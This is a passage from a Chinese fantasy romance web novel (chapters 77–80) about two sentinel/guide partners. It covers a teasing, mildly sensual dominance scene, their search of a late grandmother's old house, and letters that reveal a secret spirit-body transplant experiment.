既是因为健康的亲密关系里不该有这种暴力行为,也是因为从上一次他更清楚地意识到,这并不会让弓铮皎长教训。 好半天过去,闻璱幽幽道:“我真想抽你了。” 只能过过嘴瘾了,然而他转过头,发现弓铮皎眼神闪烁,脸颊微微发红。 “……”闻璱补充,“不是奖励的那种。” 弓铮皎欲盖弥彰:“我……我知道。” 显然,他完全不知道,并且之前确确实实想得很歪。 闻璱微微抿唇,隐忍道:“g……” 还没来得及把音发完,弓铮皎就突然倒了下去。 冥冥之中,弓铮皎彷佛明白了什么,却只能说是一知半解,干脆在地上翻了个身,“滚”得很圆润。 结果一翻就翻到了水渠边上,他悬崖勒马,没让自己真的栽进去。 闻璱连泡脚都要套塑料袋,如果他真的掉进去,闻璱肯定会洁癖大爆发的。 闻璱:“……” 他本来只是想说:给我蹲下。 结果弓铮皎这样过度反应,他感觉更生气了。 这一次,怒火大爆发的闻璱也把强迫症抛到了脑后,上前几步,把脚放在弓铮皎后腰很温和地踩了踩,鞋尖碾过弓铮皎的腰窝,又抵住弓铮皎腰侧,作势要踢。 “怎么不继续滚了?”闻璱微笑。 弓铮皎也:“……” 他现在明白自己又会错了意,让闻璱更生气了。 事已至此,别无他法,他只能遂了闻璱的意,乖乖地翻进水渠里。 也多亏弓铮皎早先就接盘了水盘镇的果园农业,规避了工厂把污水排过来的可能性,水渠修得很漂亮,水也是清澈见底,大夏天落进去,只觉得还挺凉爽,叫弓铮皎松了半口气。 弓铮皎湿漉漉地坐起来,抬手柄额前的碎发抹到脑后,露出水灵灵到真的在滴水的脸,可怜巴巴地往上望着闻璱。 流水潺潺漫过他腰间,他又融合出那只虎爪,在闻璱的裤腿上印下一个硕大的梅花水印。 被水浸湿的赏味期大比猫——犯错限定版——且已掌握了最高效的讨好手段。 也不知为何,闻璱竟然真的不争气地觉得,算了。 虽然弓铮皎真的一天不打就上房揭瓦,虽然弓铮皎还动不动就会脑筋乱转突然发疯,虽然弓铮皎……虽然弓铮皎有好多好多的小毛病。 但是,闻璱选择将这都归类为“无伤大雅的小毛病”。 事到如今,他叹了口气,干脆也一脚踩进水渠里,在弓铮皎旁边坐下,即便那水是肉眼可见的干净,闻璱还是心理作用作祟地眉心微蹙。 “告诉我。”闻璱摸了摸他的脸,“你到底怎么想的?” 第77章 我真的会爽到。 弓铮皎的目光随着闻璱一起,落在闻璱掌心那支小小的注射器。 “……真的没想那么多。”他缓缓道,“我本来只是想拿一个新的电击环,就跟叔叔他们说了,没想到来的是个小黑屋的向导,说是给柳部长跑腿来的。” “至于这个东西……”弓铮皎指了指注射器,“我只是想着,柳部长大概是想跟你传递什么情报,就带回来了。” 当然,顺便还提了辆新车代步。 闻璱眉心微沉,算是认可了这番回答。 经由水冷降温之后,他现在想想,就算有人可能把自己当个好糊弄的傻子,这个人也绝对不会是柳部长,更不可能是弓铮皎。 所以柳部长这样语焉不详地把注射器交给弓铮皎,就是为了让闻璱对此知情。 但是为什么呢? 难道就只是为了表达:道不同不相为谋,你的课题很不错,现在是我的了? ……虽然幼稚,但如果说是柳部长专门放的狠话,倒也不无可能。 不过这并不代表弓铮皎就成功“清白”了。 闻璱看向弓铮皎,颇有些莫名其妙地确认了一遍:“你不是让我把它用在你身上的意思?” 弓铮皎拿不准这是不是个送命题,斟酌着说:“如果你想用的话,当然也可以。” “……”闻璱弹了他一个脑瓜崩,“好好回答我,你知道我不喜欢你自作主张。” 弓铮皎眨了眨眼,又是心虚又是无辜道:“你和柳部长那么熟,我还以为这些都在你的计画中,你又那么说,我以为是在跟我玩情趣……就顺势这么说了。” 什么那么这么,到底是哪么…… 闻璱正要再问,忽地灵光一闪,好像明白了弓铮皎在说什么。 他随口说“该紧紧项圈”的话,被弓铮皎完全不做阅读理解地当真了。 弓铮皎用那双湿润的蓝紫色眼睛看着他,很小声地说:“小鹅,你是这个世界上最心疼我的人,我不会舍得让你难过,所以你不用担心,我永远会保护好自己。” 顿了顿,又更小声地补充一句:“当然前提是先满足你。” 他很想拉起闻璱的手来蹭蹭脸,顾忌着自己脸上水剂未干,最终还是没有那么做。 但闻璱主动伸手轻抚他还沾着水珠的眉毛。 水珠被抹开,晕湿了微硬质的眉毛,也润湿了闻璱的指尖,十指连心,好像就这样流到闻璱心尖。 闻璱心里有些微的发软,一时间怀疑自己是不是落入什么陷阱了,可是细究起来,这话好像也没有什么茶味,真诚得比弓铮皎的银行卡余额还真。 骗钱的杀猪盘、仙人跳很好分辨,但感情里的真话谎言实在难以分辨。 他静静地注视着弓铮皎,等待心尖的那粒水珠消失,才道:“我没有那种意思,只是开个玩笑,你不用那么认真……不,这种玩笑我以后尽量少说。” 然而这话让弓铮皎连忙把他的手按在自己脸上:“不行!你说!你得说!” 闻璱没抽开手,无奈道:“你总是误会。” 他把这归结于自己的遣词造句确实不够恰当,而弓铮皎一向脑回路清奇,双方总是没能搭在一根筋上。 然而,只有在这一点上,弓铮皎发自内心地认为自己实在清白。 闻璱看着他,没想到弓铮皎反而露出欲言又止、止而又欲、欲而再止的表情,张了好几次嘴,最终只蹦出来一句:“算我求你了,你就说吧。” 闻璱:“……为了让你再误会?” 他清楚地感觉到掌心的脸颊开始升温,烘干了他的手。 弓铮皎红着脸说:“为了奖励我,我真的会爽到,行吗,求你了。” 闻璱:“……” 此乃谎言,毫无疑问,其中夹杂着几分真情实感,闻璱也不好说。 最终闻璱还是不置可否,顺势轻推了一把弓铮皎的额头,起身迈出水渠:“走了,回家。” 大晚上的,两个人莫名其妙地坐在水渠里说话算什么事,弓铮皎突然发癫就算了,连他自己也被传染,实在是不合理。 弓铮皎跟在他身后,打量着他微微泛红的耳尖,既庆幸,又有点可惜刚才没把真心话说出口。 他想了想,就算说出来,闻璱也不会承认,说不定还会反将他一军,他对触发闻璱“傲娇”反应的关键词也颇有一番心得。 不过,换一种思路来想,闻璱薄怒的模样实在别有一番风味…… 弓铮皎越想越是一番不可言说的暗爽。 他沉浸在自己的绮想里,不知不觉间,甚至没发现闻璱的余光有意无意地扫过来好几次。 就在下一秒,闻璱陡然出手—— 他猛地侧身捏住弓铮皎的下颌,手上用力,还是那一招,熟练地卸掉了弓铮皎的下巴。 右手手则环过弓铮皎的后背,最终停在后心口的位置虚捧着。 下半身,他也用腿卡进弓铮皎腿间,绞住了弓铮皎的一只脚腕。 这个动作让两具身躯紧紧相贴,水就这样从弓铮皎的衣服上,沾湿闻璱的前襟。 然而渗透过来的似乎不只是水,还有温度和跳动。 闻璱的身体同样微微用力,让弓铮皎的上半身后仰到了几乎是下腰的位置。 既像是华尔兹的切克舞步,也能在下一秒接上一个毫不留情的抱腰摔。 可惜的是,以弓铮皎的肌力,这个抱腰摔的动作想要真的完成,还是得看弓铮皎有没有被摔出去的意愿。 但也不完全可惜,因为弓铮皎主动将手同样攀在闻璱后背,让两人比起近身搏击的预备动作,更像是在跳琴。 考虑到面对的人是闻璱,弓铮皎现在正在思考的应该是:为什么突然这样? 刚才的表现究竟是做对了还是错了?现在这是奖励还是惩罚? 以及……闻璱如果要把他摔出去的话,他还该像上一次那样小“演”一下吗?他的演技不太好,但如果这也是一种情趣呢? 耳鬓厮磨的距离里,闻璱居高临下地看着弓铮皎,语气没什么波动,听不出是平静还是不愉快:“你不诚实。” 弓铮皎睁大眼睛,有些意外。 他喉头溢出几声含糊的哼声,想要解释,却说不出清晰的话。 刚才已经给过他坦然的机会了,弓铮皎仍然有所隐瞒,所以现在,闻璱也不会心慈手软。 那只刚才卸了他下颌的手就这样捧住弓铮皎的耳后,似乎是怕他突然栽倒,另一只手也善解人意地从胸口转移到了弓铮皎后腰,若有若无地扶着。 而闻璱的目光落在弓铮皎轻微滚动着的喉结,渐渐地,那双眼变成了血一般的艳色。 闻璱缓缓低头,用嘴唇贴住弓铮皎的喉结,闭上双眼。 那一瞬间,一丝电流般的触感不仅是在喉结传来,还有更不可言说的部位,弓铮皎猛地绷紧。 又是感官调控,但这一次,并没有剥夺,只是霸道地形成了另一条诡异而微妙的通路。 弓铮皎几乎是不受控制地抽搐了一下,浑身的肌肉都彻底缴械。 本能让他后仰逃离,尽管这只会让他的更加暴露自己的弱点。 但闻璱只是轻轻吮了一下,他就干脆、彻底地倒在闻璱掌心。 心狠手辣的闻璱果然也没有对此产生任何的怜惜,仍然践行着自己的惩罚计画。 他用唇瓣抿过喉结,又用舌尖轻轻舔舐,偶尔也用齿尖试探地轻咬,每一个唇齿之间的小动作,都让弓铮皎不受控制地哼出声。 然而声带的震颤又触发喉结滚动,简直像是主动把自己送到闻璱口中。 那只原本温柔地抚着闻璱后背的手也方寸全无,实实在在地扣紧了薄薄的布料,隔着衣服都传来阵阵炙热。 就像上次一样,残存的理智再次提醒弓铮皎,现在逃跑的必要性。 他可以推开闻璱,这并不会让闻璱受伤,反而如果继续下去,他 真的失态的话,更可能会让闻璱反感。 但兜兜转转,他仍然像上次一样沉沦其中,并安慰自己:这本来就是闻璱所给予的。 如果这是奖励的话,他当然没有拒绝的道理。 如果惩罚就是让他失态的话,他也只会选择接受。 弓铮皎仿若躺在断头台上,等待着落下来的不知是铡刀还是馅饼,他沐浴在其中甘之如饴。 他的脑袋几乎处理不了更多的事情了,短暂地几次轻舔,就感觉彷佛被放在刀尖上来回摩擦。 在意识将去未去之际,后背的那只手无意识地伸展开又收拢,用了些力地揉捏着闻璱的后背。 没有摸到什么蝴蝶骨,或者说,那是肌力不足导致的翼状肩胛。 闻璱的背阔肌仅凭手感都知道有多漂亮,只不过,掌心的肌肉绷得好紧,彷佛有一棵小芽要破土而出—— “唔。” 然后闻璱倏然松开了一切。 弓铮皎骤然从峰值跌入谷底,剧烈地喘息着。 他不受控制地跌坐在地上,弯着腰掩饰自己的生理反应,两只手飞快地把自己的下巴接了回来,然而其中一只手却偷偷摸摸地揉拈着自己的喉结,力道大得几乎要把那块软骨的凸出部分抠下来。 只差毫厘,只差毫厘。 可这毫厘是一道天堑,是弓铮皎把自己搓破皮也永远填不满的沟壑。 闻璱专门在此刻松开他,所以这才是“惩罚”。 弓铮皎总不好在这里当场失态,只能喘息着等待一切渐渐回归平静。 眼前发花、耳朵嗡鸣的异常反应逐渐消失,状态也恢复平静之后,弓铮皎敏锐的听觉捕捉到,有另一道呼吸同样乱了。 他抬起头,只见闻璱有些不自在地双臂环胸,居高临下地看着自己。 闻璱只说了一个字:“走。” 就转身离开,甚至不愿意多等一秒。 第78章 就让我们是天生一对吧。 弓铮皎仍然觉得浑身不自在。 一路上,他一直有意无意地抚过自己的喉结,既是没能得到满足的缺失感作祟,也有些固执地不敢置信,就像上一次他也自己给自己号了一晚上脉一样。 不过,比起自己,更让他在意的,是闻璱的异样。 闻璱看起来真的生气了,实则不然,弓铮皎用尾巴卷他的手,得到了不轻不重地一掌,和头都没回的训诫:“别让人看见了” 可见是不算太生气,还很关心自己。 弓铮皎又收了尾巴,忍不住想和闻璱靠得近些,也被闻璱不动声色地避开了。 这实在不对劲,闻璱一想行得正坐得端,赏罚分明,也不记仇——除了关于“自爱”的讨论之外。 如果按照弓铮皎一贯的了解,闻璱此时该趁热打铁,软硬兼施,在回来的路上,就把弓铮皎刚才隐瞒的真心话剥个毫无保留。 但弓铮皎主动想要解释,闻璱却只是说:“回家洗个澡再说。” 两个人湿漉漉地回到家,幸好天色晚了,路上没什么人,只有进院子之后,正在搭理花草的闻母投来惊讶又费解的目光。 闻璱便指着弓铮皎说:“他太热,跳水渠里降温。” 弓铮皎立刻承认:“对,我太热,跳到水渠里降温,不小心溅了闻璱一身。” 很蹩脚且神经质的理由,闻母完全不相信、不理解,但尊重。 她跟两人简单商量了下明天一大早开车去公园那边,就早早休息了。 弓铮皎一头雾水,一直雾到了浴室里。 他用沐浴露的泡沫抹过后背时,突然打通了什么任督二脉般地回想起刚才那一刻的感受。 闻璱的后背肌肉实在非同寻常。 作为哨兵,弓铮皎从未疏于体能训练,但融合派的作战方式让他可以不像结合派哨兵那么追求肌肉,因而他的肌肉相对许多哨兵来说不那么夸张。 闻璱也是个实在罕见的体能A向导,只不过线条比他更柔和些。 穿着宽松的衣服时,两人的身形看起来还算接近,一旦脱了,弓铮皎的肌肉就比闻璱看起来要漂亮得多,硬度也高得多——但或许,唯独除了后背。 弓铮皎摸了摸自己的后背,竟然觉得,和闻璱后背的手感相比,略显逊色。 这不合理。 他在淋浴里沉思片刻,不得不承认,这也很合理。 上一次被“奖励”的时候,他看到闻璱拟态融合的双翼是从后背冒出来的,而非将两只手臂化为翅膀,可见闻璱更习惯于由背阔肌来承担这部分拟态。 能够支撑飞翔的双翼,当然得具备极强的力量才行。 但这也很大概率意味着敏感。 因为不用上肢作为承载拟态融合的部位,而选择了背部,这部分在融合时往往会格外敏感,就像弓铮皎的尾巴是尾椎骨最后一节的延伸一样,相应部件的精神力敏感程度要比虎爪要高得多。 弓铮皎在水里搓了搓脸。 也就是说,刚才慌乱之间,他无意识地摸到了闻璱的敏感点。 那个险些要冒芽的手感,应该是闻璱被刺激得想要融合的翅膀才对。 ……老天,这也太超过了。 弓铮皎把水温调低了些,以便于给越想越升温的自己冷却。 原来闻璱的敏感点在背部,这可真是…… 色得要老命。 但也有点可惜,弓铮皎左思右想,没能从毫无经验的脑袋里检索到任何姿势,能够满足他在办事期间,也能一直看着闻璱的背。 当然,现在想这些真是为时过早、色胆包天、天理难容、天经地义…… 弓铮皎关了水,擦干自己,坐在床上发烧。 他做不到把一些很不好的东西赶出脑子,除非现在闻璱出现在他面前。 上一秒这念头才冒出来,下一秒,他就听到闻璱开关门的声音。 闻璱从浴室里出来了,闻璱在擦头发,闻璱拉了窗帘,闻璱离开房间了……闻璱的脚步声越来越近,直到在自己的房间门口停下。 正当弓铮皎还在纠结该不该开门暴露自己偷听的时候,闻璱轻声说:“还要装多久?” 弓铮皎立刻缴械投降,拧开被他握得太久,以至于微微发烫的门把手。 门打开之后,是一阵沐浴露的香气扑面而来。 不像弓铮皎用了自带的特种人专用无味洗漱用具,闻璱的房间里被闻母顺手补充了普通人的沐浴露,是白荔枝玫瑰的香气。 又开始让弓铮皎发晕了。 他晕晕乎乎地请闻璱进屋,晕晕乎乎地看着闻璱扫视一圈,毫不客气地盘腿坐在自己的床上。 晕晕乎乎地,被闻璱按着,在闻璱的身旁坐下,肩膀和肩膀的距离,不超过两根手指。 也就是说,离摸一摸闻璱的后背,也唾手可得的距离。 闻璱也是没得选——前几天一直是弓铮皎去他房间找他,他没上弓铮皎的房间来,到今天才发现,这客房连把椅子都没有。 一床一桌,闻璱总不好坐在桌子上,只能计画着一会说完话立刻下楼给弓铮皎找把椅子。 他低垂着眉眼,身上散发著淡淡的冷意——刚才洗冷水澡沾上的。 话语也同样带着冷感:“交代吧。” 抗拒从严,坦白从宽。 然而半天没等到回答,他一回过头,就见弓铮皎愣愣地盯着自己肩膀,想入非非得很明显。 闻璱:“……” 他有点习惯弓铮皎这种随地大小梦了,于是用肩膀稍微用力地怼了一下弓铮皎,把弓铮皎从幻想中唤醒,语气幽幽:“真的要瞒着我?” 弓铮皎连忙道:“怎么会?那我说了。” 态度居然真的很坦诚。 闻璱不免有些疑惑,虽然关于之前那个问题的回答,他并不认为弓铮皎说“会爽到”是假的,他只是敏锐地察觉到弓铮皎那时顾左右而言他了。 “我刚才只是想说,”弓铮皎坐得笔直,清了清嗓子,字正腔圆地说:“小鹅,你绝对是一款彻头彻尾的、从里到外、不开玩笑的S。” “……”闻璱失语。 弓铮皎又真诚且小心翼翼地补充了一句:“真的。” 当然是真的,从他此刻理直气壮到有些得意的态度就知道,这话百分之百真实。 而闻璱也完全出于本能地否认:“你又这样。” 弓铮皎承认:“好吧,面对你的时候,可能我的态度也不太正常……但我的程度绝对远低于你的程度,你是真的……” “超S。” 在闻璱对此炸裂性言论发表任何观点之前,弓铮皎开始了他的论述:“你听我说,我专门研究过了,这也分很多种,你并没有对我施虐,但在你支配和掌控我的时候,你确实……你确实也享受那种感觉。” “咳咳。”他自己也觉得这话似乎又些那个了,欲盖弥彰地又咳一声,“你发奖励和惩罚的手段都能证明,你真的不能再否认了。” 说实话——闻璱以前并没有深想过这个问题。 他喜欢掌握主动权,无论在任何事情、任何关系里,但他认为这只是一种做事有计画的习惯。 而且,他并不是不能接受任何一件小事脱离掌控的可能性,只不过为了迎接意料之外的变化,他选择做更缜密的准备、提升自己,以便于随机应变,重新掌握主动权。 过去的二十几年里,闻璱一直如此行事,也一定程度上获得了世俗意义上的成功。 同样地,他也对论坛上对自己“性癖”的议论略有耳闻,只不过并不放在心上——又不会真的和这些人发展任何亲密关系,不需要跟无关的人解释。 一切和工作有关的事,掌握主动权都能带来更高的效率,从组队刷分做任务时是,后来接私活也是。 有计画也会让生活更加井井有条。 闻璱认为这些都只是生活中一种追求效率的个人选择。 反而谈起感情生活,闻璱倒真心支持“一切随缘”。 现在,他也理所当然地认为,自己只不过是有发展的意愿,于是创造了一个和弓铮皎“顺其自然”的机会。 ……虽然某些特别的展开可能不是那么自然。 他看着弓铮皎有点发光的眼睛,第一次正式地思考这个问题——他真的在亲密关系里,也有很强的支配欲吗? 回答好像不言而喻了。 但这健康吗? 闻璱又有点拿不准了,或许自己也该喝点中药调理一下,至少他细细思索了一下,逄靥星应该不会支配冬歆亭,舒颖也不会支配权冽,好像只有自己具有这个小众性癖。 并且还在无意识中把弓铮皎给调教了。 闻璱有一点轻微的负罪感,但不多。 不管这健康与否,这都不能完全怪自己。 弓铮皎的主体性也很强,能变成现在的形状,只能说弓铮皎原本也不抵触这一口,闻璱仍然认为自己说得不完全错——弓铮皎能从被压制却又得到喘息之机中获得愉悦。 闻璱只是更有些恍惚与恍然大悟里来回穿梭的感觉。 扪心自问,从他刚才确实被弓铮皎触及后背那一刻的异样,他就失去了否认自己也享受其中的底气。 最终,闻璱说:“我想想。” 于是就轮到弓铮皎对这反应有些意外了。 他没想到闻璱是真的在认真思考这件事,完全不是“傲娇”作祟,在台灯温柔的光晕里,闻璱拈着下巴认真沉思的模样,意外地有种柔弱感。 美色就这样又迷惑了弓铮皎的脑子,他凑近问:“我能再摸摸你后背吗?” “不行。”闻璱果断拒绝,“明天还要扫墓,你放尊重一点。” 弓铮皎:“……对不起。” 虽然他不明白,只是摸一下背有什么不尊重。 ——除非对于闻璱来说,想通这个关于性癖的问题,可能也意味着做出另一个重大决定。 弓铮皎顿时又雀跃了,但闻璱才提起“扫墓”的字眼,总不好他立刻就呲着牙笑美了,只能压抑着、隐忍着,轻轻捏了一下闻璱的手指。 他心道:别想了小鹅……就让我们是天生一对吧。 第79章 我还有一个孩子。 翌日清早,那辆新越野就发挥了作用,由闻母开车捎着三人去湿地公园。 尊贵的小黑大人盘踞在副驾驶位,请都请不走,就这样占领一个座位。 但两个哨兵无论如何都不愿意挤一挤,最终,闻璱和逄靥星坐在后排,弓铮皎干脆坐车顶。 这当然有违交规、非常危险,所以在被人发现之前,弓铮皎从车上跳下来,装作自己是走来的。 手续已经办好了,来之前闻母还专门打了一通电话再次确认,一切都很顺利,关卡放行,他们在工作人员的随行下,从员工信道进入了保护区的不开放局域。 前半截路虽然不让通车,好歹有现代化的一条小路,后半截就是纯粹的山路了,并不好走。 如果不是还有一个工作人员在场,弓铮皎早就把阿咬抓出来骑了——但也是因为有个工作人员在场,实际上,三个特种人的体能都很好,闻母常年下地也算是老当益壮,一路走走停停,多是工作人员在查看保护动物轨迹,挑选一条避让的路。 就这样,到逄婆婆家旧址时已近午时。 天气本就不算晴朗,那房子又多年无人照料,远远看着灰扑扑的。 这还是迄今为止唯一一幢确实符合弓铮皎来之前的刻板印象的房子。 走近前了,墙体上的裂缝更是肉眼可见,瓦屋顶也不大完整了,显然是个危房。 弓铮皎和逄靥星早就穿戴好全面防护,如今感觉倒是还好,灰尘、脏污总是比人类活动的动静气味要好防得多。 闻母有些动容地绕着房子走了几圈,久久凝视着,最终也只是说:“你们进去吧。” 安全起见,她和工作人员两个普通人当然是不进屋更好。 闻璱推开破旧的老门。 家具大多早就搬走,或是变卖,或是安置在闻璱家,如今这屋子里面其实家徒四壁,除了枯叶、杂草、碎石子、脱落的墙皮、碎瓦片玻璃……总是就是除了垃圾,只剩下灰尘了。 他实在想不通,这屋子里能有什么遗留的东西,闻母和逄靥星也没什么头绪。 弓铮皎问:“我能上去看看吗?” 这么个平房的上去也只能是上屋顶了。 逄靥星对此没什么意见,只叮嘱了一声:“轻点,别把我家踩塌了。” 弓铮皎应了一声,轻盈地跃上屋顶,彷佛体重凭空消失了几十公斤一般。 他在屋顶走走停停,甚至透过几个漏洞跟闻璱打招呼,看起来玩得不亦乐乎。 过了一会,他才从屋顶下来,那会闻璱和逄靥星已经从屋里撤离。 “有什么发现吗?”闻璱问。 “没有。”弓铮皎说,“但排除了屋顶,也不算白忙活。” 说着,他又进屋走了两圈,这回走路时似乎是撒气一般,故意踏得很重。 工作人员连忙道:“这房子地基不稳,大家脚步轻一点,注意安全。” “没事。”闻璱道,“安静点就好。” 兜了两圈,踏得灰尘漫天,连屋外的人都被呛得忍不住咳了两声,弓铮皎蓦地出声:“这下面埋了东西。” 闻璱和逄靥星这才上前,见那处地面看起来没什么不对劲。 弓铮皎让开,逄靥星也上去跺脚试了试声响,皱眉道:“回声是不太对劲。” “声音不像是地窖,东西很小,材质像是金属,下面可能埋了一个不大的保险箱?”弓铮皎猜测。 “深吗?” “还好,大概两米左右。” 这个深度不使用任何工具实在很难挖掘,但如果开动阿咬的大爪子,那就没什么困难了。 “挖出来看看吧?”闻璱看向逄靥星。 逄靥星点了点头,只是感觉很惊讶,因为他在这个老房子里度过了童年,从来没想过婆婆什么时候悄悄往地下埋了一个保险箱。 闻璱又看了一眼弓铮皎,转身跟工作人员道:“灰有点大,我们休息一下再找吧?” 工作人员看了一眼手表:“没问题,不过要注意下时间,还要算上返程和扫墓的时间,得再提醒你们一下,必须在下午五点半之前离开保护区。” “这确实。”闻璱似乎无法忍受灰尘地挥了挥手,稍微走远了几步。 他一动,逄靥星自然也退出来,闻母也跟着他走远,只剩下弓铮皎还在屋子里,闷闷地咳了几声。 工作人员迟疑片刻,也随着远了几步,但很快又转过头看向屋里的弓铮皎。 “他没事吧?” 虽然确实有几分担心,但不多,因为工作人员主要的职责是随行监督这几个人,特种人的精神体对普通人无法造成伤害,但在偷猎保护动物时别有妙用。 所以他身上也携带了类似监测酸雨的设备,能够及时探测周边的精神力波动,只不过监测范围很小。 闻璱也是个特别关注对象,因为提前报备过精神体异常的缘故,闻璱也被要求佩戴了另一个监测手环,抑制着小黑的活动范围。 然而他们没有偷猎的计画,却不得不让弓铮皎召出阿咬把地刨开,还是得把工作人员引得远些。 审核手续那么严格,获得掘地三尺批准的只有逄婆婆的墓地,老宅可没有经过审批,想要这会偷偷挖开,是不可能走明路的。 闻璱正要再说点什么,闻母突然“哎哟”一声地跌倒下去。 逄靥星眼疾手快地扶住她,却被她一把推开,仍然有些仓惶地跌坐在地上。 闻母有些无奈地捂着脚:“好像是脚崴了,哎呀,年纪大了,真是的。” 逄靥星正要帮她看看,又被闻璱拉住。 工作人员认真地蹲下来,一本正经道:“我帮您看看,我会一些急救。” 论急救,当然是闻璱、逄靥星这种常年在污染区做任务的人更精通,但闻璱只是道:“麻烦您了。” 有了这一出,工作人员的注意力自然而然地放在了闻母身上。 他招呼着逄靥星把闻母背到一旁找了块石头坐下,余光扫过弓铮皎那边,微微一顿。 灰尘还是很大,咳嗽声也没听过。 当然,监测仪也没有报警。 而这边,工作人员简单地做了个诊断,判断闻母应该只是刚才没站稳跌了一下,没有严重的创伤。 但保险起见,她被建议还是去医院做个检查,回程最好也不要再走路了。 “那你们今天可能也不太方便扫墓了。”工作人员皱眉道,“还是先去看看,下次来再办手续,我会跟领导报告情况,手续不会难办的。” 闻母却道:“没关系啊?可以去,我家儿子体力很好的,背我爬山都不成问题。” 逄靥星当然没什么意见,当场就背起闻母走了两圈,还蹦了几下给工作人员展示。 “今天真的要扫墓了。”闻璱解释,“昨天婆婆给他托梦,说再等不到扫墓就把我们全都勾到阴间陪她。” 工作人员:“……” 逄靥星、闻母:“……” 得益于闻璱实在说话夸张,工作人员不得不认可了闻璱的说法。 这边才说好,尽职尽责的工作人员立刻想到了还有一个特种人,刚才在屋里都快要咳死了,便转头看去。 不看不要紧,一看——弓铮皎就站在几人不远处,很乖巧地附和了一声:“是啊,不然要把我们勾走了。” 他手里拎着个文档袋,见几人的目光一并望过来,伸手晃了晃:“刚才咳得墙皮都脱落了,发现墙里面有一张老照片,我就把它装起来了,不影响吧?” “你人没事就行。”工作人员瞟了一眼,想那文档袋里也装不了什么。 在视线的死角里,弓铮皎隐晦地向闻璱丢来一个讨赏的眨眼。 闻璱便知道,这短短一会功夫,弓铮皎已经把保险箱里的东西取出来,并把现场恢复原样了。 于是,闻璱便改口:“那就算了,先去扫墓吧,老宅什么的下次再看。” 扫墓要开车走另一条路,用到的工具也都在车上,所以几人还是得按照原路先返回湿地公园门口。 因为有了经验,回去时速度快了许多,下午两点不到就到了,逄靥星藉口说回来先休息会,三点再启程。 天气阴凉,闻母去公园的餐厅吃饭,弓铮皎和逄靥星靠在车外,凑合吃了两口逄靥星昨天晚上烤的哨兵小曲奇,闻璱则坐在车里,戴上了一双一次性手套,小心翼翼地打开文档袋。 手边的车窗被降下来,让车外的两人也能探头看到闻璱的动作。 那文档袋摸着东西并不多,打开,是一本泛黄的日记,几个信封,还有一张照片的黑白复印件。 好巧不巧,正是张律师给闻璱看的那一张。 闻璱又翻看了下信封,邮票都已经脱落了,封皮上写着的收信地址五花八门,总之都不在水盘镇,寄信地址则都是同样的一个:墨代山疗养中心。 真奇怪,闻璱甚至没听过这个地方。 他打开搜索引擎查找,发现墨代山在距离水盘镇和首都都很远的、千里之外的一个十八线小县城,据说很适合养老——也就是说,各种产业大概率都不太发达。 逄婆婆人到老年,竟然还悄悄结交了一个距离这么远的笔友不成? 逄靥星说:“打开看看。” 闻璱便揭开信封,拿出其中的信件,映入眼帘的几句话就把他看得怔在原地: “亲爱的宁滂女士, 见字如面。 我很高兴还能联系到您,距离我们上次见面,已经过去快三十年了吧? 白云找到了您,让我们做了同一个梦,因此,我冒昧地联系您,是想请求您的帮助。 如您所见,我长期浑浑噩噩,身体状况已经不能支撑我离开疗养院,但我突然想起来,我还有一个孩子。 他叫张光霁,在首都幼儿园小班A班,学号是014,喜欢喝柠檬味汽水。 我记得他的模样。 很抱歉,我知道我没资格提出太多的要求,但我仍然请求您,如果您不介意的话,帮我去看看他。 张永荣。” 随信附上的,还有一张很小很小的纸片,皱巴巴的,像是某种糖的包装纸。 但展开之后,什么也没有,彷佛真的就只是一张被误塞进来的糖纸。 闻璱把信封倒过来晃了晃,确定里面确实没有其它东西了。 然而说时迟那时快,前座的小黑悄无声息把脖子探过来,趁三人的注意力都在信封上时,一口叼住了那张纸片。 这可是重要证物,一时间三人都是一惊,但小黑似乎只是含了一下,就把纸片又吐了出来。 这一回,皱巴巴的糖纸内侧,多了一副小孩子的速写,看起来还挺像那回事的。 角落里,也多出一个落款,时间正是十三年前,逄婆婆去世前一年。 第80章 过来跪下,好吗? 逄甯,宁滂,这或许是她曾经的名字。 而十三年前,也就是逄婆婆生命的倒数第二年,她必然是在生命的末期才收到这封信,或者说,被“白云”找到。 白云是谁?或许已经不言而喻,是那个原本属于逄婆婆的精神体。 而写下这封信的张永荣,很大概率就是张律师的亲生父亲。 很大概率,名叫白云的精神体能够在这两人身边活动,让五十年未见、相隔千里的两人重新创建了联系。 这封信的信息量不可谓不大,闻璱有太多的问题想问。 他立刻把剩下几封信也交给逄靥星和弓铮皎拆了,又翻开日记,快速阅读起来。 一心多用,这下他一边听着弓铮皎和逄靥星低声念信,一边阅读日记,越读越是心惊肉跳。 十二年前,确实是一个突如其来的梦让逄婆婆和这位张先生重新联系上。 起初,第一次做梦时,逄婆婆对此也感到茫然。 那封莫名其妙的信被她放置了好几个月,直到又一次做梦,梦里,还是那头云朵一样的雪白北极熊,呼唤着她前往某个地方。 于是,她遵循梦的指引,在某个邮箱拿到了这封信。 再之后,她和张先生开始以信件进行联系,她失去的记忆也开始逐渐恢复。 三十年前,由宫博士牵头,希冕创辉资助的秘密项目,“人造特种人”计画,实际上是精神体移植计画,改变了两人的人生。 那时关于特种人“融合派”的理论研究尚且稀缺,年轻的宁滂作为哨兵的体能并不算极佳。 在那时的宁滂心里,自己只是患上了某种精神体异常的疾病,倍受其扰,为此,她加入这个项目,希望剥离自己总是莫名其妙就和身体融合、并带来极大负担的精神体。 而将接纳她精神体的,是张先生,一位受希冕创辉资助的有机化学博士,他和宫博士同样,对特种人和精神体充满兴趣。 通过切除、移植一部分前额叶,手术达到了最基本的目标:精神体和精神图景都从宁滂的世界消失,而张先生开始感知到特种人的神奇世界。 意外也随之而来,宁滂的记忆一点一点消失,反而出现在张先生的脑子里。 两个人都被移入疗养中心,进行精神方面的治疗。 不过,随着记忆消失,宁滂的情况反而稳定下来——她变成一张白纸,希冕创辉甚至不用担心她是否能为项目保密。 也因此,或许是邵教授一时恻隐,宁滂在她的安排下离开疗养中心。 后来几经辗转,宁滂和邵教授也断了联系,她改名换姓,以“逄甯”之名开始普通人的生活,后来又因各种原因与子女不睦,带着逄靥星独自在水盘镇定居下来。 而张先生就没那么顺利了。 双重记忆、认知障碍导致他患上严重的人格分裂,因精神力改变而带来的感官变异又超过了他的体能承受,突如其来的精神体和精神图景的存在,又让他分不清幻觉和现实…… 总之,他完全无法按照项目的理想那样,成为一个健全的“人造特种人”,反而自此无法摆脱镇定药物,不得不在疗养中心度过余生。 直到十几年前,张先生在屡次转院之后,被安置在偏远的墨代山疗养院。 他身体虚弱,离不开药物和仪器,这些年又实在很老实,一定程度上,希冕创辉逐步放松了对他的监管,甚至在后来将他的安置给“外包”出去。 